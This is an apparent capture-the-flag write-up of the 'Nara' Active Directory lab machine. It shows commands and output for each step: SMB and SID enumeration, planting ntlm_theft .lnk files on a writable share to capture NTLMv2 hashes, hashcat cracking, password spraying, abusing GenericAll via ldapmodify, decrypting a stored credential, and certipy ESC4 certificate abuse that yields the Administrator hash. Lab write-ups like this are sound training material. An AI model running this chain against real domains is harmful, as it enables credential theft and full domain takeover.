# **Nara Walkthrough**
Assalaam'Alaikum fam, In the name of Allah, the Most Merciful and Most Beneficent, I’m super excited to share another cool AD walkthrough with y'all, and it’s a good one! So, let’s jump right into the fun, shall we? I mean, who doesn’t love a little adventure? Let’s dig in!
**Enumeration**
Alright, folks! You know we can’t resist a good enumeration, right? So let’s kick things off with those juicy points and start with the little ones. Let’s see what surprises they have in store for us! Muahahaha!
```
┌──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ nmap -Pn -sC -sV --min-rate 2000 -oA nmap 192.168.228.30
# Nmap 7.94SVN scan initiated Tue Oct 29 10:49:57 2024 as: nmap -Pn -sC -sV --min-rate 2000 -oA nmap 192.168.191.30
Nmap scan report for 192.168.191.30
Host is up (0.17s latency).
Not shown: 988 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-29 09:50:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nara-security.com0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-29T09:51:28+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after: 2024-07-29T14:09:26
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: nara-security.com0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-29T09:51:28+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after: 2024-07-29T14:09:26
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: nara-security.com0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-29T09:51:28+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after: 2024-07-29T14:09:26
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: nara-security.com0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:Nara.nara-security.com
| Not valid before: 2023-07-30T14:09:26
|_Not valid after: 2024-07-29T14:09:26
|_ssl-date: 2024-10-29T09:51:28+00:00; 0s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: NARASEC
| NetBIOS_Domain_Name: NARASEC
| NetBIOS_Computer_Name: NARA
| DNS_Domain_Name: nara-security.com
| DNS_Computer_Name: Nara.nara-security.com
| DNS_Tree_Name: nara-security.com
| Product_Version: 10.0.20348
|_ System_Time: 2024-10-29T09:50:48+00:00
|_ssl-date: 2024-10-29T09:51:28+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Nara.nara-security.com
| Not valid before: 2024-10-28T09:48:47
|_Not valid after: 2025-04-29T09:48:47
Service Info: Host: NARA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
....SNIP....
```
Wow, there’s so much good stuff to dive into, especially starting with the SMB port! And don’t forget to add the DNS computer name and domain name using this handy command `echo "ip domain" | sudo tee -a /etc/hosts` I covered a similar tip in my last walkthrough, so feel free to check that out for more details.
Now, let’s move in on the SMB port and see if it allows anonymous access—that’s where our trusty tools come in. You can use either `netexec` or `crackmapexec`, whichever you prefer. Let’s see what secrets we can uncover.
```
┌──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ sudo nxc smb nara-security.com -u anonymous -p anonymous --shares
SMB 192.168.228.30 445 NARA [*] Windows Server 2022 Build 20348 x64 (name:NARA) (domain:nara-security.com) (signing:True) (SMBv1:False)
SMB 192.168.228.30 445 NARA [+] nara-security.com\anonymous:anonymous (Guest)
SMB 192.168.228.30 445 NARA [-] Error enumerating shares: STATUS_ACCESS_DENIED
```
We can authenticate as a guest user, but checking for shares? Who needs that when we can use `smbclient` later? First, let’s focus on retrieving all the users on the server. Since we can authenticate as a guest, this is where `impacket-lookupsid` comes into play to get the job done.
```
┌──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ impacket-lookupsid anonymous@nara-security.com
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Brute forcing SIDs at nara-security.com
[*] StringBinding ncacn_np:nara-security.com[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-914744703-3800712539-3320214069
498: NARASEC\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: NARASEC\Administrator (SidTypeUser)
501: NARASEC\Guest (SidTypeUser)
502: NARASEC\krbtgt (SidTypeUser)
512: NARASEC\Domain Admins (SidTypeGroup)
513: NARASEC\Domain Users (SidTypeGroup)
514: NARASEC\Domain Guests (SidTypeGroup)
515: NARASEC\Domain Computers (SidTypeGroup)
516: NARASEC\Domain Controllers (SidTypeGroup)
517: NARASEC\Cert Publishers (SidTypeAlias)
518: NARASEC\Schema Admins (SidTypeGroup)
519: NARASEC\Enterprise Admins (SidTypeGroup)
520: NARASEC\Group Policy Creator Owners (SidTypeGroup)
521: NARASEC\Read-only Domain Controllers (SidTypeGroup)
522: NARASEC\Cloneable Domain Controllers (SidTypeGroup)
525: NARASEC\Protected Users (SidTypeGroup)
526: NARASEC\Key Admins (SidTypeGroup)
527: NARASEC\Enterprise Key Admins (SidTypeGroup)
553: NARASEC\RAS and IAS Servers (SidTypeAlias)
571: NARASEC\Allowed RODC Password Replication Group (SidTypeAlias)
572: NARASEC\Denied RODC Password Replication Group (SidTypeAlias)
1000: NARASEC\NARA$ (SidTypeUser)
....SNIP....
```
Now, let’s grab those users and save them in a file called `users.txt`. Trust me, this will come in handy later.
Back to `smbclient` and see what we have.
```
──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ smbclient -L //nara-security.com/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
nara Disk company share
NETLOGON Disk Logon server share
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to nara-security.com failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```
Let try and access `nara` and see if we could.
```
┌──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ smbclient //nara-security.com/nara -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jul 30 15:31:58 2023
.. DHS 0 Wed Oct 30 08:32:56 2024
Documents D 0 Sun Jul 30 15:03:13 2023
Important.txt A 2200 Sun Jul 30 15:05:31 2023
IT D 0 Sun Jul 30 17:22:50 2023
7699711 blocks of size 4096. 3933920 blocks available
smb: \> get Important.txt
getting file \Important.txt of size 2200 as Important.txt (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
smb: \>
```
We managed to access the nara shares, and we downloaded the `important.txt` file from the SMB shares. We checked out two documents in the shares, but they were empty. But wait—let’s see what that important txt file has in store for us.
Based on the message we received, it looks like the shared document folder is where files are kept and executed quickly. This means we have read and write permissions,pretty cool, right? This is where `ntlm_theft` comes into play. If you don’t have the tools yet, you can grab them using this <a href="https://github.com/Greenwolf/ntlm_theft/blob/master/ntlm_theft.py" target="_blank">link-here</a>.
Now, use the command below to generate files with different extensions using `ntlm_theft`.
```
┌──(abzee㉿Saminu)-[~/Documents/PGP/Nara/ntlm_theft]
└─$ python3 ntlm_theft.py -g all -s <local-ip> -f abzee
Created: abzee/abzee.scf (BROWSE TO FOLDER)
Created: abzee/abzee-(url).url (BROWSE TO FOLDER)
Created: abzee/abzee-(icon).url (BROWSE TO FOLDER)
Created: abzee/abzee.lnk (BROWSE TO FOLDER)
Created: abzee/abzee.rtf (OPEN)
Created: abzee/abzee-(stylesheet).xml (OPEN)
Created: abzee/abzee-(fulldocx).xml (OPEN)
Created: abzee/abzee.htm (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)
Created: abzee/abzee-(includepicture).docx (OPEN)
Created: abzee/abzee-(remotetemplate).docx (OPEN)
Created: abzee/abzee-(frameset).docx (OPEN)
Created: abzee/abzee-(externalcell).xlsx (OPEN)
Created: abzee/abzee.wax (OPEN)
Created: abzee/abzee.m3u (OPEN IN WINDOWS MEDIA PLAYER ONLY)
Created: abzee/abzee.asx (OPEN)
Created: abzee/abzee.jnlp (OPEN)
Created: abzee/abzee.application (DOWNLOAD AND OPEN)
Created: abzee/abzee.pdf (OPEN AND ALLOW)
Created: abzee/zoom-attack-instructions.txt (PASTE TO CHAT)
Created: abzee/Autorun.inf (BROWSE TO FOLDER)
Created: abzee/desktop.ini (BROWSE TO FOLDER)
Generation Complete.
```
We will be using the `.lnk` extension so, let head back to the shared document and don't forget to start your responder to capture the ntlmv2 hash.
```sudo responder -I tun0```
```
┌──(abzee㉿Saminu)-[~/…/PGP/Nara/ntlm_theft/abzee]
└─$ smbclient //nara-security.com/nara -N
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Sun Jul 30 15:31:58 2023
.. DHS 0 Wed Oct 30 08:32:56 2024
Documents D 0 Sun Jul 30 15:03:13 2023
Important.txt A 2200 Sun Jul 30 15:05:31 2023
IT D 0 Sun Jul 30 17:22:50 2023
7699711 blocks of size 4096. 3938973 blocks available
smb: \> cd Documents
smb: \Documents\> put abzee.lnk
putting file abzee.lnk as \Documents\abzee.lnk (1.8 kb/s) (average 1.8 kb/s)
smb: \Documents\>
```
We can see that our file as been uploaded, so let check our responder and see if we get any response.
Ok, the response indicating that the hash has been previously captured, that’s accurate, that's why the ntlmv2 hash didn't showed up. But no worries. Another way to capture the hash is by using `impacket-smbserver`.
```impacket-smbserver -smb2support share .```
We’ve identified that the hash belongs to the user `Tracy.White`. Let’s save it in a file and use `hashcat` to crack it.
```hashcat -m 5600 hash /opt/wordlists/rockyou.txt```
Boom! We’ve got the password! Now, let’s try it out on SMB and see if it works. Here comes the moment of truth.
```
──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ sudo nxc smb nara-security.com -u TRACY.WHITE -p zqwj041FGX --shares
[sudo] password for abzee:
SMB 192.168.228.30 445 NARA [*] Windows Server 2022 Build 20348 x64 (name:NARA) (domain:nara-security.com) (signing:True) (SMBv1:False)
SMB 192.168.228.30 445 NARA [+] nara-security.com\TRACY.WHITE:zqwj041FGX
SMB 192.168.228.30 445 NARA [*] Enumerated shares
SMB 192.168.228.30 445 NARA Share Permissions Remark
SMB 192.168.228.30 445 NARA ----- ----------- ------
SMB 192.168.228.30 445 NARA ADMIN$ Remote Admin
SMB 192.168.228.30 445 NARA C$ Default share
SMB 192.168.228.30 445 NARA IPC$ READ Remote IPC
SMB 192.168.228.30 445 NARA nara READ,WRITE company share
SMB 192.168.228.30 445 NARA NETLOGON READ Logon server share
SMB 192.168.228.30 445 NARA SYSVOL READ Logon server share
```
Woohoo! We can see the shares now, but it turns out they’re the same ones we found as a guest—so not much use to us. I double-checked everything, but no luck. I even tried password spraying smb with the other users, but still nothing.
Let’s give it another shot and use `netexec` for a password spray. Who knows, maybe we can log in with evil-winrm this time.
```sudo nxc winrm nara-security.com -u users.txt -p <password>```
No luck but we still have plenty things to try, so let check `ldap` out.
Seems like we can authenticate with `ldap` so this is where `ldapsearch` comes in hehe.
```ldapsearch -H ldap://nara-security.com -D 'Tracy.White@nara-security.com' -w 'zqwj041FGX' -b 'dc=nara-security,dc=com' | tee ldap.txt```
Using `ldapsearch` to authenticate worked. As we can see it in the image above, we saved the output of ldapsearch into a file called `ldap.txt`. Now, let’s use cat to check its contents and grep pass to see if we can find any passwords hidden in there.
Unfortunately, there are no passwords in the ldap.txt file, even after going through it manually. I also tried `Impacket-GetUserSPN` and `Impacket-GetNPUsers`, but no luck there either. But don’t worry, this isn’t the end. This is where `bloodhound-python` comes into play, so let’s give that a shot too.
Nice, bloodhound-python has delivered some useful information. Now, this is where the BloodHound GUI comes into play. We need to upload the files we gathered from bloodhound-python to the BloodHound GUI.
First, start your neo4j in a separate terminal, and do the same for BloodHound using the command below
`sudo ne04j console`
`bloodhound --no-sandbox`
Make sure to run this in a separate terminal, and you should see the BloodHound GUI pop up.
All you have to do is authenticate then upload all the `.json` file retrieved from `bloodhound-python`.
Now, let’s move to the search bar and search up the user we own `Tracy.White`. Let’s see what information we can get from it.
Right click and mark user as own.
After marking it as user own, click on the user to open a side panel. Then, scroll down to `Outbound Object Control` and select `Transitive Object Control`.
User `Tracy Whit` has the privilege to be added as a group member of Remote Access. To gain a better understanding, I’ll move my cursor to `GenericAll` between the two options and right-click. From there, I’ll select `Help`. This will provide guidance on how to exploit this privilege and offer a detailed explanation.
Absolutely, that’s why BloodHound is so highly regarded, it provides clear explanations and commands for exploitation. I tried using the provided command, but it didn’t work, possibly due to incorrect settings at my end. Since I'm comfortable with `ldapmodify`, I’ll use that to change the user’s group membership. First, let’s check our previous LDAP file to see which group `Tracy.White` belongs to.
Next, I create a file named `groupadd.ldif`, and this is what I include inside the file.
```
──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ cat groupadd.ldif
dn: CN=Remote Access,OU=remote,DC=nara-security,DC=com
changetype: modify
add: member
member: CN=Tracy White,OU=staff,DC=nara-security,DC=com
```
This is how our complete command will look using `ldapmodify` below. After executing the command, we'll attempt to log in as Tracy White using her password to see if we can access Evil-WinRM after changing her group membership.
*FootHold*
```
──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ ldapmodify -x -D "Tracy.White@nara-security.com" -w zqwj041FGX -H ldap://nara-security.com -f groupadd.ldif
modifying entry "CN=Remote Access,OU=remote,DC=nara-security,DC=com"
```
So let try netexec on it and see.
Finally, it’s working! Now let’s dive in and explore freely.
```evil-winrm -i nara-security.com -u Tracy.White -p '<pass>'```
The excitement is overwhelming. Let’s take a look around, starting by checking the automation file in the Documents directory.
Hmmm window automation hash, that pretty cool we will come back for it, for now let read the `user.txt` content.
```
*Evil-WinRM* PS C:\Users\tracy.white\Documents> cd c:\users\tracy.white\desktop
*Evil-WinRM* PS C:\users\tracy.white\desktop> dir
Directory: C:\users\tracy.white\desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/30/2024 11:29 AM 34 local.txt
*Evil-WinRM* PS C:\users\tracy.white\desktop> more local.txt; hostname; whoami; ipconfig
d960269251ea5cdceddd50ee0b35b246
Nara
narasec\tracy.white
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::8807:e47a:6052:406c%4
IPv4 Address. . . . . . . . . . . : 192.168.209.30
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.209.254
*Evil-WinRM* PS C:\users\tracy.white\desktop>
```
From here, I decided to explore further. However, after checking the PowerShell history and other areas, I couldn't find anything useful. Additionally, any files I uploaded to the machine were flagged as malicious, with the antivirus deleting everything. So, I decided to focus on the Windows automation hash instead.
So I decided to copy the hash and then use `echo` to write it into a file `abzee.txt` which I think is cool and did a little research on how to crack windows automation hash and this is the step I use to successfully crack it.
```
*Evil-WinRM* PS C:\users\tracy.white\desktop> $password = Get-Content abzee.txt | ConvertTo-SecureString
*Evil-WinRM* PS C:\users\tracy.white\desktop> $bstr = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($password)
*Evil-WinRM* PS C:\users\tracy.white\desktop> $UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($bstr)
*Evil-WinRM* PS C:\users\tracy.white\desktop> $UnsecurePassword
```
Then, bam gabooom. We decrypted it, but we still don’t know which user owns it. This is where password spraying comes in, using the usernames we gathered earlier.
Yes, We found the user owner. Let’s use it to log into Evil-WinRM.
I also checked around with the new user but didn’t find anything useful. However, when I ran `whoami /all`, I noticed something interesting.
Noticing the `Certificate Service DCOM Access` made me think about exploiting ADCS. But how can we determine if it’s truly vulnerable? Unfortunately, downloading anything onto the machine gets flagged and deleted, even tools like `Certify.exe`.
However, this shouldn’t be a problem. We can use `certipy-ad` to check for vulnerabilities and retrieve the template locally, especially since we have the user credentials.
```
certipy-ad find -u Jodie.Summers -p 'hHO_S9gff7ehXw' -dc-ip 192.168.209.30 -stdout -vulnerable
```
We can clearly see the message indicating that ESC4 has dangerous permissions.
*Privilege Escalation*
Now time to exploit and get the `administrator` hash since we have gotten the template name let request to receive a certificate.
```
certipy-ad req -username "Jodie.Summers" -p "hHO_S9gff7ehXw" -template NaraUser -dc-ip 192.168.209.30 -ca NARA-CA -upn 'Administrator@nara-security.com' -dns Nara.nara-security.com -debug
```
Boom, there we fVcking go guys, that's it and only one thing left to get the hash.
```
──(abzee㉿Saminu)-[~/Documents/PGP/Nara]
└─$ certipy-ad auth -pfx administrator_nara.pfx -dc-ip 192.168.241.30
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Found multiple identifications in certificate
[*] Please select one:
[0] UPN: 'Administrator@nara-security.com'
[1] DNS Host Name: 'Nara.nara-security.com'
> 0
[*] Using principal: administrator@nara-security.com
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@nara-security.com': aad3b435b51404eeaad3b435b51404ee:d35c4ae45bdd10a4e28ff529a2155745
```
Just look at that hash it’s practically smiling at us 😂. so let comfirm with netexec.
`sudo nxc winrm nara-security.com -u administrator -H d35c4ae45bdd10a4e28ff529a2155745`
Let log in with `evil-winrm`.
If you’ve made it this far, thank you for reading! If you have any questions or feedback about my write-up, feel free to reach out to me on <a href="https://twitter.com/AbzeeSaminu" target="_blank">Twitter</a> or <a href="https://www.linkedin.com/in/abzee-saminu-5ba253236/" target="_blank">LinkedIn</a>.
Happy Hacking!
Sign in with Wallet
Connect another wallet